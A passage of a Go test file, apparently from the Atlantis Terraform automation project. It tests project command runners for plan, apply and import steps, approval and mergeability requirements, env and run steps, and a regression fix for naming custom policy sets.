nil, repoDir, expEnvs)).ThenReturn(\"plan\", nil)\n\tWhen(mockApply.Run(ctx, nil, repoDir, expEnvs)).ThenReturn(\"apply\", nil)\n\tWhen(mockRun.Run(ctx, nil, \"\", repoDir, expEnvs, true, nil, nil)).ThenReturn(\"run\", nil)\n\tres := runner.Plan(ctx)\n\n\tAssert(t, res.PlanSuccess != nil, \"exp plan success\")\n\tEquals(t, \"https://lock-key\", res.PlanSuccess.LockURL)\n\tt.Logf(\"output is %s\", res.PlanSuccess.TerraformOutput)\n\tEquals(t, \"run\\napply\\nplan\\ninit\", res.PlanSuccess.TerraformOutput)\n\texpSteps := []string{\"run\", \"apply\", \"plan\", \"init\", \"env\"}\n\tfor _, step := range expSteps {\n\t\tswitch step {\n\t\tcase \"init\":\n\t\t\tmockInit.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs)\n\t\tcase \"plan\":\n\t\t\tmockPlan.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs)\n\t\tcase \"apply\":\n\t\t\tmockApply.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs)\n\t\tcase \"run\":\n\t\t\tmockRun.VerifyWasCalledOnce().Run(ctx, nil, \"\", repoDir, expEnvs, true, nil, nil)\n\t\t}\n\t}\n}\n\nfunc TestProjectOutputWrapper(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tctx := command.ProjectContext{\n\t\tLog: logging.NewNoopLogger(t),\n\t\tSteps: []valid.Step{\n\t\t\t{\n\t\t\t\tStepName: \"plan\",\n\t\t\t},\n\t\t},\n\t\tWorkspace:  \"default\",\n\t\tRepoRelDir: \".\",\n\t}\n\n\tcases := []struct {\n\t\tDescription string\n\t\tFailure     bool\n\t\tError       bool\n\t\tSuccess     bool\n\t\tCommandName command.Name\n\t}{\n\t\t{\n\t\t\tDescription: \"plan success\",\n\t\t\tSuccess:     true,\n\t\t\tCommandName: command.Plan,\n\t\t},\n\t\t{\n\t\t\tDescription: \"plan failure\",\n\t\t\tFailure:     true,\n\t\t\tCommandName: command.Plan,\n\t\t},\n\t\t{\n\t\t\tDescription: \"plan error\",\n\t\t\tError:       true,\n\t\t\tCommandName: command.Plan,\n\t\t},\n\t\t{\n\t\t\tDescription: \"apply success\",\n\t\t\tSuccess:     true,\n\t\t\tCommandName: command.Apply,\n\t\t},\n\t\t{\n\t\t\tDescription: \"apply failure\",\n\t\t\tFailure:     true,\n\t\t\tCommandName: command.Apply,\n\t\t},\n\t\t{\n\t\t\tDescription: \"apply error\",\n\t\t\tError:       true,\n\t\t\tCommandName: command.Apply,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\tvar prjResult command.ProjectCommandOutput\n\t\t\tvar expCommitStatus models.CommitStatus\n\n\t\t\tmockJobURLSetter := mocks.NewMockJobURLSetter()\n\t\t\tmockJobMessageSender := mocks.NewMockJobMessageSender()\n\t\t\tmockProjectCommandRunner := mocks.NewMockProjectCommandRunner()\n\n\t\t\trunner := &events.ProjectOutputWrapper{\n\t\t\t\tJobURLSetter:         mockJobURLSetter,\n\t\t\t\tJobMessageSender:     mockJobMessageSender,\n\t\t\t\tProjectCommandRunner: mockProjectCommandRunner,\n\t\t\t}\n\n\t\t\tif c.Success {\n\t\t\t\tprjResult = command.ProjectCommandOutput{\n\t\t\t\t\tPlanSuccess:  &models.PlanSuccess{},\n\t\t\t\t\tApplySuccess: \"exists\",\n\t\t\t\t}\n\t\t\t\texpCommitStatus = models.SuccessCommitStatus\n\t\t\t} else if c.Failure {\n\t\t\t\tprjResult = command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t}\n\t\t\t\texpCommitStatus = models.FailedCommitStatus\n\t\t\t} else if c.Error {\n\t\t\t\tprjResult = command.ProjectCommandOutput{\n\t\t\t\t\tError: errors.New(\"error\"),\n\t\t\t\t}\n\t\t\t\texpCommitStatus = models.FailedCommitStatus\n\t\t\t}\n\n\t\t\tWhen(mockProjectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(prjResult)\n\t\t\tWhen(mockProjectCommandRunner.Apply(Any[command.ProjectContext]())).ThenReturn(prjResult)\n\n\t\t\tswitch c.CommandName {\n\t\t\tcase command.Plan:\n\t\t\t\trunner.Plan(ctx)\n\t\t\tcase command.Apply:\n\t\t\t\trunner.Apply(ctx)\n\t\t\t}\n\n\t\t\tmockJobURLSetter.VerifyWasCalled(Once()).SetJobURLWithStatus(ctx, c.CommandName, models.PendingCommitStatus, nil)\n\t\t\tmockJobURLSetter.VerifyWasCalled(Once()).SetJobURLWithStatus(ctx, c.CommandName, expCommitStatus, &prjResult)\n\n\t\t\tswitch c.CommandName {\n\t\t\tcase command.Plan:\n\t\t\t\tmockProjectCommandRunner.VerifyWasCalledOnce().Plan(ctx)\n\t\t\tcase command.Apply:\n\t\t\t\tmockProjectCommandRunner.VerifyWasCalledOnce().Apply(ctx)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Test what happens if there's no working dir. This signals that the project\n// was never planned.\nfunc TestDefaultProjectCommandRunner_ApplyNotCloned(t *testing.T) {\n\tmockWorkingDir := mocks.NewMockWorkingDir()\n\trunner := &events.DefaultProjectCommandRunner{\n\t\tWorkingDir: mockWorkingDir,\n\t}\n\tctx := command.ProjectContext{}\n\tWhen(mockWorkingDir.GetWorkingDir(ctx.BaseRepo, ctx.Pull, ctx.Workspace)).ThenReturn(\"\", os.ErrNotExist)\n\n\tres := runner.Apply(ctx)\n\tErrEquals(t, \"project has not been cloned–did you run plan?\", res.Error)\n}\n\n// Test that if approval is required and the PR isn't approved we give an error.\nfunc TestDefaultProjectCommandRunner_ApplyNotApproved(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tmockWorkingDir := mocks.NewMockWorkingDir()\n\trunner := &events.DefaultProjectCommandRunner{\n\t\tWorkingDir:       mockWorkingDir,\n\t\tWorkingDirLocker: events.NewDefaultWorkingDirLocker(),\n\t\tCommandRequirementHandler: &events.DefaultCommandRequirementHandler{\n\t\t\tWorkingDir: mockWorkingDir,\n\t\t},\n\t}\n\tctx := command.ProjectContext{\n\t\tApplyRequirements: []string{\"approved\"},\n\t}\n\ttmp := t.TempDir()\n\tWhen(mockWorkingDir.GetWorkingDir(ctx.BaseRepo, ctx.Pull, ctx.Workspace)).ThenReturn(tmp, nil)\n\n\tres := runner.Apply(ctx)\n\tEquals(t, \"Pull request must be approved according to the project's approval rules before running apply.\", res.Failure)\n}\n\n// Test that if mergeable is required and the PR isn't mergeable we give an error.\nfunc TestDefaultProjectCommandRunner_ApplyNotMergeable(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tmockWorkingDir := mocks.NewMockWorkingDir()\n\trunner := &events.DefaultProjectCommandRunner{\n\t\tWorkingDir:       mockWorkingDir,\n\t\tWorkingDirLocker: events.NewDefaultWorkingDirLocker(),\n\t\tCommandRequirementHandler: &events.DefaultCommandRequirementHandler{\n\t\t\tWorkingDir: mockWorkingDir,\n\t\t},\n\t}\n\tctx := command.ProjectContext{\n\t\tPullReqStatus: models.PullReqStatus{\n\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: false},\n\t\t},\n\t\tApplyRequirements: []string{\"mergeable\"},\n\t}\n\ttmp := t.TempDir()\n\tWhen(mockWorkingDir.GetWorkingDir(ctx.BaseRepo, ctx.Pull, ctx.Workspace)).ThenReturn(tmp, nil)\n\n\tres := runner.Apply(ctx)\n\tEquals(t, \"Pull request must be mergeable before running apply.\", res.Failure)\n}\n\n// Test that if undiverged is required and the PR is diverged we give an error.\nfunc TestDefaultProjectCommandRunner_ApplyDiverged(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tmockWorkingDir := mocks.NewMockWorkingDir()\n\trunner := &events.DefaultProjectCommandRunner{\n\t\tWorkingDir:       mockWorkingDir,\n\t\tWorkingDirLocker: events.NewDefaultWorkingDirLocker(),\n\t\tCommandRequirementHandler: &events.DefaultCommandRequirementHandler{\n\t\t\tWorkingDir: mockWorkingDir,\n\t\t},\n\t}\n\tlog := logging.NewNoopLogger(t)\n\tctx := command.ProjectContext{\n\t\tLog:               log,\n\t\tApplyRequirements: []string{\"undiverged\"},\n\t}\n\ttmp := t.TempDir()\n\tWhen(mockWorkingDir.GetWorkingDir(ctx.BaseRepo, ctx.Pull, ctx.Workspace)).ThenReturn(tmp, nil)\n\tWhen(mockWorkingDir.HasDiverged(ctx.Log, tmp)).ThenReturn(true)\n\n\tres := runner.Apply(ctx)\n\tEquals(t, \"Default branch must be rebased onto pull request before running apply.\", res.Failure)\n}\n\n// Test that it runs the expected apply steps.\nfunc TestDefaultProjectCommandRunner_Apply(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tsteps       []valid.Step\n\t\tapplyReqs   []string\n\n\t\texpSteps      []string\n\t\texpOut        string\n\t\texpFailure    string\n\t\tpullMergeable bool\n\t}{\n\t\t{\n\t\t\tdescription: \"normal workflow\",\n\t\t\tsteps:       valid.DefaultApplyStage.Steps,\n\t\t\texpSteps:    []string{\"apply\"},\n\t\t\texpOut:      \"apply\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"approval required\",\n\t\t\tsteps:       valid.DefaultApplyStage.Steps,\n\t\t\tapplyReqs:   []string{\"approved\"},\n\t\t\texpSteps:    []string{\"approve\", \"apply\"},\n\t\t\texpOut:      \"apply\",\n\t\t},\n\t\t{\n\t\t\tdescription:   \"mergeable required\",\n\t\t\tsteps:         valid.DefaultApplyStage.Steps,\n\t\t\tpullMergeable: true,\n\t\t\tapplyReqs:     []string{\"mergeable\"},\n\t\t\texpSteps:      []string{\"apply\"},\n\t\t\texpOut:        \"apply\",\n\t\t},\n\t\t{\n\t\t\tdescription:   \"mergeable required, pull not mergeable\",\n\t\t\tsteps:         valid.DefaultApplyStage.Steps,\n\t\t\tpullMergeable: false,\n\t\t\tapplyReqs:     []string{\"mergeable\"},\n\t\t\texpSteps:      []string{\"\"},\n\t\t\texpOut:        \"\",\n\t\t\texpFailure:    \"Pull request must be mergeable before running apply.\",\n\t\t},\n\t\t{\n\t\t\tdescription:   \"mergeable and approved required\",\n\t\t\tsteps:         valid.DefaultApplyStage.Steps,\n\t\t\tpullMergeable: true,\n\t\t\tapplyReqs:     []string{\"mergeable\", \"approved\"},\n\t\t\texpSteps:      []string{\"approved\", \"apply\"},\n\t\t\texpOut:        \"apply\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"workflow with custom apply stage\",\n\t\t\tsteps: []valid.Step{\n\t\t\t\t{\n\t\t\t\t\tStepName:    \"env\",\n\t\t\t\t\tEnvVarName:  \"key\",\n\t\t\t\t\tEnvVarValue: \"value\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tStepName: \"run\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tStepName: \"apply\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tStepName: \"plan\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tStepName: \"init\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texpSteps: []string{\"env\", \"run\", \"apply\", \"plan\", \"init\"},\n\t\t\texpOut:   \"run\\napply\\nplan\\ninit\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tif c.description != \"workflow with custom apply stage\" {\n\t\t\tcontinue\n\t\t}\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\t\t\tmockInit := mocks.NewMockStepRunner()\n\t\t\tmockPlan := mocks.NewMockStepRunner()\n\t\t\tmockApply := mocks.NewMockStepRunner()\n\t\t\tmockRun := mocks.NewMockCustomStepRunner()\n\t\t\tmockEnv := mocks.NewMockEnvStepRunner()\n\t\t\tmockWorkingDir := mocks.NewMockWorkingDir()\n\t\t\tmockLocker := mocks.NewMockProjectLocker()\n\t\t\tmockSender := mocks.NewMockWebhooksSender()\n\t\t\tapplyReqHandler := &events.DefaultCommandRequirementHandler{\n\t\t\t\tWorkingDir: mockWorkingDir,\n\t\t\t}\n\n\t\t\trunner := events.DefaultProjectCommandRunner{\n\t\t\t\tLocker:                    mockLocker,\n\t\t\t\tLockURLGenerator:          mockURLGenerator{},\n\t\t\t\tInitStepRunner:            mockInit,\n\t\t\t\tPlanStepRunner:            mockPlan,\n\t\t\t\tApplyStepRunner:           mockApply,\n\t\t\t\tRunStepRunner:             mockRun,\n\t\t\t\tEnvStepRunner:             mockEnv,\n\t\t\t\tWorkingDir:                mockWorkingDir,\n\t\t\t\tWebhooks:                  mockSender,\n\t\t\t\tWorkingDirLocker:          events.NewDefaultWorkingDirLocker(),\n\t\t\t\tCommandRequirementHandler: applyReqHandler,\n\t\t\t}\n\t\t\trepoDir := t.TempDir()\n\t\t\tWhen(mockWorkingDir.GetWorkingDir(\n\t\t\t\tAny[models.Repo](),\n\t\t\t\tAny[models.PullRequest](),\n\t\t\t\tAny[string](),\n\t\t\t)).ThenReturn(repoDir, nil)\n\t\t\tWhen(mockLocker.TryLock(\n\t\t\t\tAny[logging.SimpleLogging](),\n\t\t\t\tAny[models.PullRequest](),\n\t\t\t\tAny[models.User](),\n\t\t\t\tAny[string](),\n\t\t\t\tAny[models.Project](),\n\t\t\t\tAnyBool(),\n\t\t\t)).ThenReturn(&events.TryLockResponse{\n\t\t\t\tLockAcquired: true,\n\t\t\t\tLockKey:      \"lock-key\",\n\t\t\t}, nil)\n\n\t\t\tctx := command.ProjectContext{\n\t\t\t\tLog:               logging.NewNoopLogger(t),\n\t\t\t\tSteps:             c.steps,\n\t\t\t\tWorkspace:         \"default\",\n\t\t\t\tApplyRequirements: c.applyReqs,\n\t\t\t\tRepoRelDir:        \".\",\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tApprovalStatus: models.ApprovalStatus{\n\t\t\t\t\t\tIsApproved: true,\n\t\t\t\t\t},\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: false},\n\t\t\t\t},\n\t\t\t}\n\t\t\texpEnvs := map[string]string{\n\t\t\t\t\"key\": \"value\",\n\t\t\t}\n\t\t\tWhen(mockInit.Run(ctx, nil, repoDir, expEnvs)).ThenReturn(\"init\", nil)\n\t\t\tWhen(mockPlan.Run(ctx, nil, repoDir, expEnvs)).ThenReturn(\"plan\", nil)\n\t\t\tWhen(mockApply.Run(ctx, nil, repoDir, expEnvs)).ThenReturn(\"apply\", nil)\n\t\t\tWhen(mockRun.Run(ctx, nil, \"\", repoDir, expEnvs, true, nil, nil)).ThenReturn(\"run\", nil)\n\t\t\tWhen(mockEnv.Run(ctx, nil, \"\", \"value\", repoDir, make(map[string]string))).ThenReturn(\"value\", nil)\n\n\t\t\tres := runner.Apply(ctx)\n\t\t\tEquals(t, c.expOut, res.ApplySuccess)\n\t\t\tEquals(t, c.expFailure, res.Failure)\n\n\t\t\tfor _, step := range c.expSteps {\n\t\t\t\tswitch step {\n\t\t\t\tcase \"init\":\n\t\t\t\t\tmockInit.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs)\n\t\t\t\tcase \"plan\":\n\t\t\t\t\tmockPlan.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs)\n\t\t\t\tcase \"apply\":\n\t\t\t\t\tmockApply.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs)\n\t\t\t\tcase \"run\":\n\t\t\t\t\tmockRun.VerifyWasCalledOnce().Run(ctx, nil, \"\", repoDir, expEnvs, true, nil, nil)\n\t\t\t\tcase \"env\":\n\t\t\t\t\tmockEnv.VerifyWasCalledOnce().Run(ctx, nil, \"\", \"value\", repoDir, expEnvs)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Test that it runs the expected apply steps.\nfunc TestDefaultProjectCommandRunner_ApplyRunStepFailure(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tmockApply := mocks.NewMockStepRunner()\n\tmockWorkingDir := mocks.NewMockWorkingDir()\n\tmockLocker := mocks.NewMockProjectLocker()\n\tmockSender := mocks.NewMockWebhooksSender()\n\tapplyReqHandler := &events.DefaultCommandRequirementHandler{\n\t\tWorkingDir: mockWorkingDir,\n\t}\n\n\trunner := events.DefaultProjectCommandRunner{\n\t\tLocker:                    mockLocker,\n\t\tLockURLGenerator:          mockURLGenerator{},\n\t\tApplyStepRunner:           mockApply,\n\t\tWorkingDir:                mockWorkingDir,\n\t\tWorkingDirLocker:          events.NewDefaultWorkingDirLocker(),\n\t\tCommandRequirementHandler: applyReqHandler,\n\t\tWebhooks:                  mockSender,\n\t}\n\trepoDir := t.TempDir()\n\tWhen(mockWorkingDir.GetWorkingDir(\n\t\tAny[models.Repo](),\n\t\tAny[models.PullRequest](),\n\t\tAny[string](),\n\t)).ThenReturn(repoDir, nil)\n\tWhen(mockLocker.TryLock(\n\t\tAny[logging.SimpleLogging](),\n\t\tAny[models.PullRequest](),\n\t\tAny[models.User](),\n\t\tAny[string](),\n\t\tAny[models.Project](),\n\t\tAnyBool(),\n\t)).ThenReturn(&events.TryLockResponse{\n\t\tLockAcquired: true,\n\t\tLockKey:      \"lock-key\",\n\t}, nil)\n\n\tctx := command.ProjectContext{\n\t\tLog: logging.NewNoopLogger(t),\n\t\tSteps: []valid.Step{\n\t\t\t{\n\t\t\t\tStepName: \"apply\",\n\t\t\t},\n\t\t},\n\t\tWorkspace:         \"default\",\n\t\tApplyRequirements: []string{},\n\t\tRepoRelDir:        \".\",\n\t}\n\texpEnvs := map[string]string{}\n\tWhen(mockApply.Run(ctx, nil, repoDir, expEnvs)).ThenReturn(\"apply\", fmt.Errorf(\"something went wrong\"))\n\n\tres := runner.Apply(ctx)\n\tAssert(t, res.ApplySuccess == \"\", \"exp apply failure\")\n\n\tmockApply.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs)\n}\n\n// Test run and env steps. We don't use mocks for this test since we're\n// not running any Terraform.\nfunc TestDefaultProjectCommandRunner_RunEnvSteps(t *testing.T) {\n\tRegisterMockTestingT(t)\n\ttfClient := tfclientmocks.NewMockClient()\n\ttfDistribution := terraform.NewDistributionTerraformWithDownloader(tmocks.NewMockDownloader())\n\ttfVersion, err := version.NewVersion(\"0.12.0\")\n\tOk(t, err)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\trun := runtime.RunStepRunner{\n\t\tTerraformExecutor:       tfClient,\n\t\tDefaultTFDistribution:   tfDistribution,\n\t\tDefaultTFVersion:        tfVersion,\n\t\tProjectCmdOutputHandler: projectCmdOutputHandler,\n\t}\n\tenv := runtime.EnvStepRunner{\n\t\tRunStepRunner: &run,\n\t}\n\tmockWorkingDir := mocks.NewMockWorkingDir()\n\tmockLocker := mocks.NewMockProjectLocker()\n\tmockCommandRequirementHandler := mocks.NewMockCommandRequirementHandler()\n\n\trunner := events.DefaultProjectCommandRunner{\n\t\tLocker:                    mockLocker,\n\t\tLockURLGenerator:          mockURLGenerator{},\n\t\tRunStepRunner:             &run,\n\t\tEnvStepRunner:             &env,\n\t\tWorkingDir:                mockWorkingDir,\n\t\tWebhooks:                  nil,\n\t\tWorkingDirLocker:          events.NewDefaultWorkingDirLocker(),\n\t\tCommandRequirementHandler: mockCommandRequirementHandler,\n\t}\n\n\trepoDir := t.TempDir()\n\tWhen(mockWorkingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\tAny[string]())).ThenReturn(repoDir, nil)\n\tWhen(mockLocker.TryLock(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.User](), Any[string](),\n\t\tAny[models.Project](), AnyBool())).ThenReturn(&events.TryLockResponse{LockAcquired: true, LockKey: \"lock-key\"}, nil)\n\n\tctx := command.ProjectContext{\n\t\tLog: logging.NewNoopLogger(t),\n\t\tSteps: []valid.Step{\n\t\t\t{\n\t\t\t\tStepName:   \"run\",\n\t\t\t\tRunCommand: \"echo var=$var\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tStepName:    \"env\",\n\t\t\t\tEnvVarName:  \"var\",\n\t\t\t\tEnvVarValue: \"value\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tStepName:   \"run\",\n\t\t\t\tRunCommand: \"echo var=$var\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tStepName:   \"env\",\n\t\t\t\tEnvVarName: \"dynamic_var\",\n\t\t\t\tRunCommand: \"echo dynamic_value\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tStepName:   \"run\",\n\t\t\t\tRunCommand: \"echo dynamic_var=$dynamic_var\",\n\t\t\t},\n\t\t\t// Test overriding the variable\n\t\t\t{\n\t\t\t\tStepName:    \"env\",\n\t\t\t\tEnvVarName:  \"dynamic_var\",\n\t\t\t\tEnvVarValue: \"overridden\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tStepName:   \"run\",\n\t\t\t\tRunCommand: \"echo dynamic_var=$dynamic_var\",\n\t\t\t},\n\t\t},\n\t\tWorkspace:  \"default\",\n\t\tRepoRelDir: \".\",\n\t}\n\tres := runner.Plan(ctx)\n\tAssert(t, res.PlanSuccess != nil, \"exp plan success\")\n\tEquals(t, \"https://lock-key\", res.PlanSuccess.LockURL)\n\tEquals(t, \"var=\\n\\nvar=value\\n\\ndynamic_var=dynamic_value\\n\\ndynamic_var=overridden\\n\", res.PlanSuccess.TerraformOutput)\n}\n\n// Test that it runs the expected import steps.\nfunc TestDefaultProjectCommandRunner_Import(t *testing.T) {\n\texpEnvs := map[string]string{}\n\tcases := []struct {\n\t\tdescription   string\n\t\tsteps         []valid.Step\n\t\timportReqs    []string\n\t\tpullReqStatus models.PullReqStatus\n\t\tsetup         func(repoDir string, ctx command.ProjectContext, mockLocker *mocks.MockProjectLocker, mockInit *mocks.MockStepRunner, mockImport *mocks.MockStepRunner)\n\n\t\texpSteps   []string\n\t\texpOut     *models.ImportSuccess\n\t\texpFailure string\n\t}{\n\t\t{\n\t\t\tdescription: \"normal workflow\",\n\t\t\tsteps:       valid.DefaultImportStage.Steps,\n\t\t\timportReqs:  []string{\"approved\"},\n\t\t\tpullReqStatus: models.PullReqStatus{\n\t\t\t\tApprovalStatus: models.ApprovalStatus{\n\t\t\t\t\tIsApproved: true,\n\t\t\t\t},\n\t\t\t},\n\t\t\tsetup: func(repoDir string, ctx command.ProjectContext, mockLocker *mocks.MockProjectLocker, mockInit *mocks.MockStepRunner, mockImport *mocks.MockStepRunner) {\n\t\t\t\tWhen(mockLocker.TryLock(\n\t\t\t\t\tAny[logging.SimpleLogging](),\n\t\t\t\t\tAny[models.PullRequest](),\n\t\t\t\t\tAny[models.User](),\n\t\t\t\t\tAny[string](),\n\t\t\t\t\tAny[models.Project](),\n\t\t\t\t\tAnyBool(),\n\t\t\t\t)).ThenReturn(&events.TryLockResponse{\n\t\t\t\t\tLockAcquired: true,\n\t\t\t\t\tLockKey:      \"lock-key\",\n\t\t\t\t}, nil)\n\n\t\t\t\tWhen(mockInit.Run(ctx, nil, repoDir, expEnvs)).ThenReturn(\"init\", nil)\n\t\t\t\tWhen(mockImport.Run(ctx, nil, repoDir, expEnvs)).ThenReturn(\"import\", nil)\n\t\t\t},\n\t\t\texpSteps: []string{\"import\"},\n\t\t\texpOut: &models.ImportSuccess{\n\t\t\t\tOutput:    \"init\\nimport\",\n\t\t\t\tRePlanCmd: \"atlantis plan -d .\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"approval required\",\n\t\t\tsteps:       valid.DefaultImportStage.Steps,\n\t\t\timportReqs:  []string{\"approved\"},\n\t\t\tpullReqStatus: models.PullReqStatus{\n\t\t\t\tApprovalStatus: models.ApprovalStatus{\n\t\t\t\t\tIsApproved: false,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpFailure: \"Pull request must be approved according to the project's approval rules before running import.\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\t\t\tmockInit := mocks.NewMockStepRunner()\n\t\t\tmockImport := mocks.NewMockStepRunner()\n\t\t\tmockStateRm := mocks.NewMockStepRunner()\n\t\t\tmockWorkingDir := mocks.NewMockWorkingDir()\n\t\t\tmockLocker := mocks.NewMockProjectLocker()\n\t\t\tmockSender := mocks.NewMockWebhooksSender()\n\t\t\tapplyReqHandler := &events.DefaultCommandRequirementHandler{\n\t\t\t\tWorkingDir: mockWorkingDir,\n\t\t\t}\n\n\t\t\trunner := events.DefaultProjectCommandRunner{\n\t\t\t\tLocker:                    mockLocker,\n\t\t\t\tLockURLGenerator:          mockURLGenerator{},\n\t\t\t\tInitStepRunner:            mockInit,\n\t\t\t\tImportStepRunner:          mockImport,\n\t\t\t\tStateRmStepRunner:         mockStateRm,\n\t\t\t\tWorkingDir:                mockWorkingDir,\n\t\t\t\tWebhooks:                  mockSender,\n\t\t\t\tWorkingDirLocker:          events.NewDefaultWorkingDirLocker(),\n\t\t\t\tCommandRequirementHandler: applyReqHandler,\n\t\t\t}\n\t\t\tctx := command.ProjectContext{\n\t\t\t\tLog:                logging.NewNoopLogger(t),\n\t\t\t\tSteps:              c.steps,\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tImportRequirements: c.importReqs,\n\t\t\t\tRepoRelDir:         \".\",\n\t\t\t\tPullReqStatus:      c.pullReqStatus,\n\t\t\t\tRePlanCmd:          \"atlantis plan -d . -- addr id\",\n\t\t\t}\n\t\t\trepoDir := t.TempDir()\n\t\t\tWhen(mockWorkingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\t\t\tAny[string]())).ThenReturn(repoDir, nil)\n\t\t\tif c.setup != nil {\n\t\t\t\tc.setup(repoDir, ctx, mockLocker, mockInit, mockImport)\n\t\t\t}\n\n\t\t\tres := runner.Import(ctx)\n\t\t\tEquals(t, c.expOut, res.ImportSuccess)\n\t\t\tEquals(t, c.expFailure, res.Failure)\n\n\t\t\tfor _, step := range c.expSteps {\n\t\t\t\tswitch step {\n\t\t\t\tcase \"init\":\n\t\t\t\t\tmockInit.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs)\n\t\t\t\tcase \"import\":\n\t\t\t\t\tmockImport.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\ntype mockURLGenerator struct{}\n\nfunc (m mockURLGenerator) GenerateLockURL(lockID string) string {\n\treturn \"https://\" + lockID\n}\n\n// Test that custom policy checks use configured policy set names instead of defaulting to \"Custom\".\n// This is a regression test for https://github.com/runatlantis/atlantis/pull/5331\n// where custom policy sets defaulting to \"Custom\" allowed any user to approve policies.\nfunc TestDefaultProjectCommandRunner_CustomPolicyCheckNames(t *testing.T) {\n\tRegisterMockTestingT(t)\n\n\tcases := []struct {\n\t\tdescription       string\n\t\tcustomPolicyCheck bool\n\t\tpolicySets        []valid.PolicySet\n\t\tpolicyOutputs     []string\n\t\texpectedNames     []string\n\t}{\n\t\t{\n\t\t\tdescription:       \"Custom policy check with single named policy set\",\n\t\t\tcustomPolicyCheck: true,\n\t\t\tpolicySets: []valid.PolicySet{\n\t\t\t\t{\n\t\t\t\t\tName:         \"security_policy\",\n\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\tUsers: []string{\"security-team\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicyOutputs: []string{\"Policy check passed\"},\n\t\t\texpectedNames: []string{\"security_policy\"},\n\t\t},\n\t\t{\n\t\t\tdescription:       \"Custom policy check with multiple named policy sets\",\n\t\t\tcustomPolicyCheck: true,\n\t\t\tpolicySets: []valid.PolicySet{\n\t\t\t\t{\n\t\t\t\t\tName:         \"security_policy\",\n\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\tUsers: []string{\"security-team\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName:         \"compliance_policy\",\n\t\t\t\t\tApproveCount: 2,\n\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\tUsers: []string{\"compliance-team\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicyOutputs: []string{\"Security check passed\", \"Compliance check FAIL\"},\n\t\t\texpectedNames: []string{\"security_policy\", \"compliance_policy\"},\n\t\t},\n\t\t{\n\t\t\tdescription:       \"Custom policy check defaults to 'Custom' when no policy set configured\",\n\t\t\tcustomPolicyCheck: true,\n\t\t\tpolicySets:        []valid.PolicySet{},\n\t\t\tpolicyOutputs:     []string{\"Policy check passed\"},\n\t\t\texpectedNames:     []string{\"Custom\"},\n\t\t},\n\t\t{\n\t\t\tdescription:       \"More outputs than policy sets - excess use 'Custom'\",\n\t\t\tcustomPolicyCheck: true,\n\t\t\tpolicySets: []valid.PolicySet{\n\t\t\t\t{\n\t\t\t\t\tName:         \"security_policy\",\n\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\tUsers: []string{\"security-team\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicyOutputs: []string{\"Security check passed\", \"Extra check passed\"},\n\t\t\texpectedNames: []string{\"security_policy\", \"Custom\"},\n\t\t},\n\t\t{\n\t\t\tdescription:       \"More policy sets than outputs - only received outputs processed\",\n\t\t\tcustomPolicyCheck: true,\n\t\t\tpolicySets: []valid.PolicySet{\n\t\t\t\t{\n\t\t\t\t\tName:         \"security_policy\",\n\t\t\t\t\tApproveCount: 